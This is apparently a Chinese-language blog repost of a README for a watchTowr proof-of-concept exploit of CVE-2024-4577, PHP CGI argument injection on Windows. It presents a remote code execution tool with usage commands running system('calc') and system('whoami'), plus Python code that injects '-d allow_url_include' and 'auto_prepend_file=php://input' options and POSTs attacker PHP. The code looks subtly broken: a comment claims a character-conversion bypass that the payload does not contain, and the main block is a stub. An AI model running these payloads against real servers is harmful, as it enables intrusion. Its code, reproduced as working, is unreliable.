PHP CGI 参数注入漏洞利用工具 (CVE-2024-4577)

6 阅读3分钟

PHP CGI 参数注入漏洞利用工具 (CVE-2024-4577)

这是一个由 watchTowr 开发的概念验证(PoC)工具,用于利用 Windows 环境下 PHP CGI 参数注入漏洞(CVE-2024-4577),从而在受影响的 PHP 版本上实现远程代码执行(RCE)。

转存失败,建议直接上传图片文件

功能特性

  • 远程代码执行:利用 CVE-2024-4577 漏洞,在目标 Windows 服务器上执行任意 PHP 代码。
  • 图形化验证:内置示例(如调用 calc 程序),直观展示漏洞利用效果。
  • 精准定位:针对特定 URL 路径进行测试,减少误报。
  • 易于使用:命令行交互,提供清晰的执行状态反馈。

安装指南

系统要求

  • Python 3.x
  • 目标为运行受影响 PHP 版本的 Windows 操作系统

依赖项

本工具仅依赖 Python 标准库,无需额外安装第三方包。

安装步骤

  1. 克隆或下载本项目代码至本地。
  2. 确保 Python 3 环境可用。
  3. 无需编译或安装,直接运行脚本即可。

使用说明

基础用法

python watchTowr-vs-php_cve-2024-4577.py -c "<?php system('calc');?>" -t http://192.168.253.132/test.sina

参数说明

  • -c--code:要执行的 PHP 代码(需 URL 编码或适配上下文)。
  • -t--target:目标 URL,指向存在漏洞的 PHP CGI 端点。

典型场景

  1. 验证漏洞存在性
    执行弹出计算器的测试代码,观察目标服务器是否弹出计算器窗口。

  2. 获取系统信息
    使用 phpinfo() 函数探测目标环境配置:

    python watchTowr-vs-php_cve-2024-4577.py -c "<?php phpinfo();?>" -t http://example.com/vuln.php
    
  3. 执行系统命令
    执行 whoami 等命令确认权限:

    python watchTowr-vs-php_cve-2024-4577.py -c "<?php system('whoami');?>" -t http://example.com/vuln.php
    

成功输出示例

(^_^) prepare for the Pwnage (^_^)

(+) Exploit was successful

核心代码

漏洞利用主逻辑

# watchTowr-vs-php_cve-2024-4577.py (核心部分)
import requests
import sys
import urllib.parse

def exploit(target, php_code):
    # 构造恶意载荷,利用字符转换绕过过滤
    # 关键利用点:Windows 编码转换导致 `-s` 等参数被注入
    payload = f"?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input"
    
    # 发送 POST 请求,恶意 PHP 代码放在请求体中
    response = requests.post(
        target + payload,
        data=php_code,
        headers={"Content-Type": "application/x-www-form-urlencoded"}
    )
    
    if response.status_code == 200:
        print("(+) Exploit was successful")
        print(response.text)
    else:
        print("(-) Exploit failed")

if __name__ == "__main__":
    # 命令行参数解析及调用 exploit 函数
    # (为简洁起见,此处省略参数解析细节)
    pass

漏洞检测与参数构造

# 漏洞检测逻辑:尝试注入 CGI 参数导致代码执行
def build_exploit_payload(command):
    # 利用 `-d` 选项修改 PHP 配置,开启远程文件包含
    # 再通过 `auto_prepend_file` 将 POST 数据作为代码执行
    inject = "-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input"
    return inject

受影响的版本

基于 DEVCORE 的原始公告,以下 Windows 平台上的 PHP 版本受影响:

  • PHP 8.3 < 8.3.8
  • PHP 8.2 < 8.2.20
  • PHP 8.1 < 8.1.29

PHP 8.0、PHP 7、PHP 5 分支已停止维护,建议服务器管理员参考 临时修补建议 进行缓解。 6HFtX5dABrKlqXeO5PUv/4I131J0So+cqjZnlt4kP27JoqNV/fBZnGbnK7GRyDee